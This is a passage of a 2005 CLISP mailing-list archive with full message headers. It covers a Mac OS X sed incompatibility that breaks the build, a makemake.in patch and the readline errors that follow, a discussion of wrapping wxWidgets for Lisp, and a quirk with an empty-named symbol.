helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqY0t-0005EU-Jv for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 08:10:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j67F9rDd022102; Thu, 7 Jul 2005 11:09:54 -0400 (EDT) To: clisp-list@lists.sourceforge.net, dam@mellis.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (David A. Mellis's message of "Thu, 7 Jul 2005 02:11:38 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, dam@mellis.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: gen.lispbibl.c is broken on Mac OS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 08:13:11 2005 X-Original-Date: Thu, 07 Jul 2005 11:09:18 -0400 > * David A. Mellis [2005-07-07 02:11:38 +0200]: > > ./comment5 noreadline.d | ./gctrigger | ./varbrace > noreadline.c > ./comment5 lispbibl.d | sed -e '/^#line/n;ta;:a;s/^%% > //;tb;s/^.*$//;:b' > gen.lispbibl.c > sed: 2: "/^#line/n;ta;:a;s/^%% / ...": undefined label 'a;:a;s/^%% > //;tb;s/^.*$//;:b' > > This happened last time as well, but when I reran make it > proceeded beyond that point seemingly without error, though > it may have caused problems later without me realizing it. this is the root of your problem. gen.lispbibl.c is used to generate clisp.h, and your gen.lispbibl.c was not generated correctly, so your clisp.h is broken. apparently your sed is deficient (as in "does not support all gnu extensions"). any idea how to modify the sed command? -- Sam Steingold (http://www.podval.org/~sds) running w2k PI seconds is a nanocentury From sds@gnu.org Thu Jul 07 08:17:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqY8V-0007gW-0b for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 08:17:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqY8S-00072S-Ew for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 08:17:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j67FHlON023418; Thu, 7 Jul 2005 11:17:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Wed, 06 Jul 2005 22:49:19 -0700") References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 08:19:07 2005 X-Original-Date: Thu, 07 Jul 2005 11:17:12 -0400 > * Surendra Singhi [2005-07-06 22:49:19 -0700]: > > I think the way to incorporate wxWidgets would be by means of modules. > > --But, how hard is it? not hard at all. I wrote quite a few modules and it was fairly easy, especially since I used utils/modprep.lisp. > --Does it requires knowledge of substantial clisp internals? no. you just need to mind "GC-safety" if you need to access internals of an object (e.g., an element of a vector) you either funcall a lisp function (see modules/clx/new-clx/clx.f) or you access the data slot explicitly (gaining speed but losing flexibility of displaced arrays &c), (see modules/berkeley-db/bdb.c). > --Will it be easy to look at the other existing modules, and follow > them as an example to provide wxWidgets as a module? yes. > --Approximately how long will it take? it depends on your skill and the size of wxWidgets. :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is not god and Microsoft is not heaven. From pjb@informatimago.com Thu Jul 07 12:26:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqc0e-0005Ln-PW for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 12:26:08 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqc0b-0003H5-1c for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 12:26:08 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 706505833D; Thu, 7 Jul 2005 21:25:54 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 623FB582FA; Thu, 7 Jul 2005 21:25:52 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3BE9510FBF3; Thu, 7 Jul 2005 21:25:52 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17101.33214.410165.307595@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: dam@mellis.org Subject: Re: [clisp-list] Re: gen.lispbibl.c is broken on Mac OS X 10.4 In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 12:27:04 2005 X-Original-Date: Thu, 7 Jul 2005 21:25:50 +0200 Sam Steingold writes: > > * David A. Mellis [2005-07-07 02:11:38 +0200]: > > > > ./comment5 noreadline.d | ./gctrigger | ./varbrace > noreadline.c > > ./comment5 lispbibl.d | sed -e '/^#line/n;ta;:a;s/^%% > > //;tb;s/^.*$//;:b' > gen.lispbibl.c > > sed: 2: "/^#line/n;ta;:a;s/^%% / ...": undefined label 'a;:a;s/^%% > > //;tb;s/^.*$//;:b' > > > > This happened last time as well, but when I reran make it > > proceeded beyond that point seemingly without error, though > > it may have caused problems later without me realizing it. > > this is the root of your problem. > gen.lispbibl.c is used to generate clisp.h, > and your gen.lispbibl.c was not generated correctly, > so your clisp.h is broken. > > apparently your sed is deficient (as in "does not support all gnu extensions"). > any idea how to modify the sed command? About GNU sed, neither: man sed or: info sed tell anything about ';'. GNU sed version 3.02.80 diff -a -u -r1.570 makemake.in --- makemake.in 6 Jul 2005 22:20:32 -0000 1.570 +++ makemake.in 7 Jul 2005 15:58:51 -0000 @@ -2512,6 +2512,6 @@ for f in lispbibl; do echol "gen.${f}.c : ${f}.d comment5${HEXE}" - echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/n;ta;:a;s/^%% //;tb;s/^.*\$\$//;:b' > gen.${f}.c" + echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/{n' -e 'ta' -e ':a' -e 's/^%% //' -e 'tb' -e 's/^.*\$\$//' -e ':b' -e '}' > gen.${f}.c" echol done -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From dmellis@gmail.com Thu Jul 07 17:07:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqgOh-0003WS-Bu for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 17:07:15 -0700 Received: from rproxy.gmail.com ([64.233.170.195]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqgOd-0008Eu-0n for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 17:07:15 -0700 Received: by rproxy.gmail.com with SMTP id g11so270155rne for ; Thu, 07 Jul 2005 17:07:09 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Z/hS4ToaqBJZdKnhFdFW8VV5LjXzCDSuafAYd5Fsd9mUVKSVSX/BrgtUL1EFTZD8fyKzVVZnyx4d37p64G4poVlI+/c31exfD7+PeiVMBYXPzcFT5VhZyYdRaftRQ2NQBoatstT0hjjJq8b87jnD6tkDh5iK/np4S1HwuB0SHvc= Received: by 10.38.59.44 with SMTP id h44mr1249090rna; Thu, 07 Jul 2005 17:07:09 -0700 (PDT) Received: by 10.38.9.63 with HTTP; Thu, 7 Jul 2005 17:07:09 -0700 (PDT) Message-ID: From: "David A. Mellis" Reply-To: dam@mellis.org To: pjb@informatimago.com Subject: Re: [clisp-list] Re: gen.lispbibl.c is broken on Mac OS X 10.4 Cc: clisp-list@lists.sourceforge.net In-Reply-To: <17101.33214.410165.307595@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <17101.33214.410165.307595@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 17:08:12 2005 X-Original-Date: Fri, 8 Jul 2005 02:07:09 +0200 On 7/7/05, Pascal Bourguignon wrote: > diff -a -u -r1.570 makemake.in > --- makemake.in 6 Jul 2005 22:20:32 -0000 1.570 > +++ makemake.in 7 Jul 2005 15:58:51 -0000 > @@ -2512,6 +2512,6 @@ I applied the patch (against the latest in CVS and a fresh untar of the archive from http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2 Building with: ./configure --prefix=3D/usr/local --with-module=3Dclx/mit-clx --with-readline-prefix=3D/sw --build build-dir doesn't give me the sed error, but I get: gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c stream.c stream.d: In function 'lisp_completion': stream.d:8916: warning: implicit declaration of function 'rl_refresh_line' stream.d: In function 'history_last': stream.d:9400: warning: implicit declaration of function 'history_list' stream.d:9400: warning: initialization makes pointer from integer without a= cast stream.d: In function 'rd_ch_terminal3': stream.d:9435: error: 'rl_basic_quote_characters' undeclared (first use in this function) stream.d:9435: error: (Each undeclared identifier is reported only once stream.d:9435: error: for each function it appears in.) stream.d:9490: warning: passing argument 1 of 'free' discards qualifiers from pointer target type stream.d: In function 'make_terminal_stream_': stream.d:9715: error: 'rl_gnu_readline_p' undeclared (first use in this function) stream.d: In function 'init_streamvars': stream.d:14936: warning: implicit declaration of function 'rl_named_functio= n' stream.d:14936: warning: passing argument 2 of 'rl_bind_key' makes pointer from integer without a cast stream.d:14939: warning: assignment from incompatible pointer type stream.d:14940: warning: implicit declaration of function 'rl_variable_bind= ' stream.d:14943: warning: implicit declaration of function 'META' stream.d:14943: warning: passing argument 2 of 'rl_add_defun' from incompatible pointer type stream.d:14944: warning: passing argument 2 of 'rl_add_defun' from incompatible pointer type stream.d: In function 'rl_memory_abort': stream.d:15037: error: 'rl_gnu_readline_p' undeclared (first use in this function) make: *** [stream.o] Error 1 From lisp-clisp-list@m.gmane.org Thu Jul 07 20:58:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqk0I-0007vd-Jm for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 20:58:18 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqk0G-0003Fm-4O for clisp-list@lists.sourceforge.net; Thu, 07 Jul 2005 20:58:18 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Dqk09-0003li-DY for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 05:58:09 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 08 Jul 2005 05:58:09 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 08 Jul 2005 05:58:09 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 81 Message-ID: References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> <42CCC5EC.6080703@gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:Gx4YSkLVR45X3Dngb/cdn7jTSKs= X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 7 20:59:41 2005 X-Original-Date: Thu, 07 Jul 2005 20:57:46 -0700 Hello Scott, wxCL (http://sourceforge.net/projects/wxlisp) is an inactive project hosted on source forge which exactly intended to do what we are planning. But it seems that it never took off, they never progressed beyond the planning stage. I have contacted one of the admins of the project and I am waiting for his response. He has written an article describing the project and the steps which will be required for writing such a library. This is the link to that article http://www.olivfabric.de/content/on-wxcl.html#002 Scott Williams writes: > You can use the C ffi if you happen to know the mangled name of the > symbol, assuming you could figure out how C++ lets a function know about > (is it a hidden first argument on the stack?). I asked people on the #C++ irc channel about the pointer question, and what they told me was that it is implementation specific. For example, msvc pass this pointer through the eax register. A better workaround would be to write a C wrapper. And this is exactly what is done by elj project - wxEiffel (http://elj.sourceforge.net/projects/gui/ewxw/). They have written a C wrapper for all the classes which is then used by the Eiffel language ffi. But it is also an inactive project now (last change was sometime in 2003). The above set of C wrappers are also present in wxC, which is a subproject of wxHaskell. They almost use the same C code with some haskell specific minor optimizations. wxHaskell (http://wxhaskell.sourceforge.net/index.html) Repository: (http://cvs.sourceforge.net/viewcvs.py/wxhaskell/) I think the wxEiffel would be a good starting place to start. > > About how many classes and methods are there in wxWindows? Does it > require multithreading? I'd be interested in helping out with this There are about 150 classes, but there are much fewer classes(files) with wrappers in the wxEiffel. > project, perhaps we could split the encapsulation (which I assume would > be the bulk of the programming). Instead of doing the ffi declarations manually, we should try to automate it, as much as possible. The choices are "Ah2cl is a (very (very)) simple and naive C header parser" (http://hocwp.free.fr/ah2cl/) Or, I would rather suggest going with Swig (http://www.swig.org/). Currently swig can be used for generating Allegro CL code, but it should not be hard to extend it to generate clisp. > > Surendra Singhi wrote: > >>André Vargas Abs da Cruz writes: >> >> >> >>>Changing the subject a bit, does anyone know if is there any work >>>going on towards writing a kind of wrapper to the wxWidgets library ?! >>>I can think of a few good reasons to write a 'wxClisp wrapper' >>>(similar to wxPython): >>> >>>- wxWidgets is open-source; >>>- It's a cross-platform GUI; >>>- Provides a relative easy way to write a graphical application >>> -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From pjb@informatimago.com Fri Jul 08 02:55:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqpa4-0006cG-IC for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 02:55:36 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqpa1-00058w-Vm for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 02:55:36 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E6C3E58344; Fri, 8 Jul 2005 11:55:25 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6661B582FA; Fri, 8 Jul 2005 11:55:22 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 982F510FBF3; Fri, 8 Jul 2005 11:55:21 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17102.19849.535218.758382@thalassa.informatimago.com> To: dam@mellis.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: gen.lispbibl.c is broken on Mac OS X 10.4 In-Reply-To: References: <17101.33214.410165.307595@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 02:56:21 2005 X-Original-Date: Fri, 8 Jul 2005 11:55:21 +0200 David A. Mellis writes: > On 7/7/05, Pascal Bourguignon wrote: > > diff -a -u -r1.570 makemake.in > > --- makemake.in 6 Jul 2005 22:20:32 -0000 1.570 > > +++ makemake.in 7 Jul 2005 15:58:51 -0000 > > @@ -2512,6 +2512,6 @@ > > I applied the patch (against the latest in CVS and a fresh untar > of the archive from http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2 > Building with: > > ./configure --prefix=/usr/local --with-module=clx/mit-clx > --with-readline-prefix=/sw --build build-dir > > doesn't give me the sed error, but I get: > > gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith > -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c > stream.c > stream.d: In function 'lisp_completion': > stream.d:8916: warning: implicit declaration of function 'rl_refresh_line' > stream.d: In function 'history_last': > stream.d:9400: warning: implicit declaration of function 'history_list' > stream.d:9400: warning: initialization makes pointer from integer without a cast Yes, it seems I didn't get the right sed expression. Actually, I'm not sure of the semantics of the original sed, since I've not found any reference of ';' in the documentation I have... I'll have to compare the output from Linux where it compiles. Stay tuned ;-) -- __Pascal_Bourguignon__ _ Software patents are endangering () ASCII ribbon against html email (o_ the computer industry all around /\ 1962:DO20I=1.100 //\ the world http://lpf.ai.mit.edu/ 2001:my($f)=`fortune`; V_/ http://petition.eurolinux.org/ From kavenchuk@jenty.by Fri Jul 08 03:00:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dqpee-0006sA-Rv for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:00:20 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1Dqped-00019s-Lr for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:00:21 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA29YR; Fri, 8 Jul 2005 13:03:49 +0300 Message-ID: <42CE4EF6.6040303@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] OOPS! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 03:01:33 2005 X-Original-Date: Fri, 08 Jul 2005 13:01:26 +0300 clisp from CVS head, mingw CL-USER> (defun CL-USER:: () "OOPS!") || CL-USER> (CL-USER::) "OOPS!" Symbol maybe empty? :) -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Fri Jul 08 03:04:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqpiV-0006wj-I8 for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:04:19 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqpiV-00079c-4V for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 03:04:19 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 887C85833D; Fri, 8 Jul 2005 12:04:15 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 755C0582FA; Fri, 8 Jul 2005 12:04:13 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 546AF10FBF3; Fri, 8 Jul 2005 12:04:13 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: 